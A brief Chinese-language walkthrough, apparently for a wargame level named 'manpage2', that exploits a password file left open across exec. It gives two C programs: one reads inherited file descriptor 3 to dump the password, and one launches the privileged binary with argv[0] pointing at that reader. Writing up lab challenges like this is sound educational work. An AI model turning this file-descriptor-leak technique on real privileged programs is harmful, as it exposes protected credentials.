问题出在,密码文件打开之后没有关闭,而fd是可以从exec继承的。于是我们先写一个读文件内容的程序
#include <unistd.h>
int main () {
char buf[64];
lseek(3, 0, SEEK_SET);
ssize_t num;
while((num=read(3,buf,sizeof buf)) > 0)
write(STDOUT_FILENO, buf, num);
return 0;
}
这里fd是3因为打开的密码文件的fd应该是接着0,1,2
然后执行manpage2的程序,让argv[0]为我们的读密码程序
#include <unistd.h>
int main (int argc, char *args[]) {
execl("/manpage/manpage2", "./getPass", NULL);
}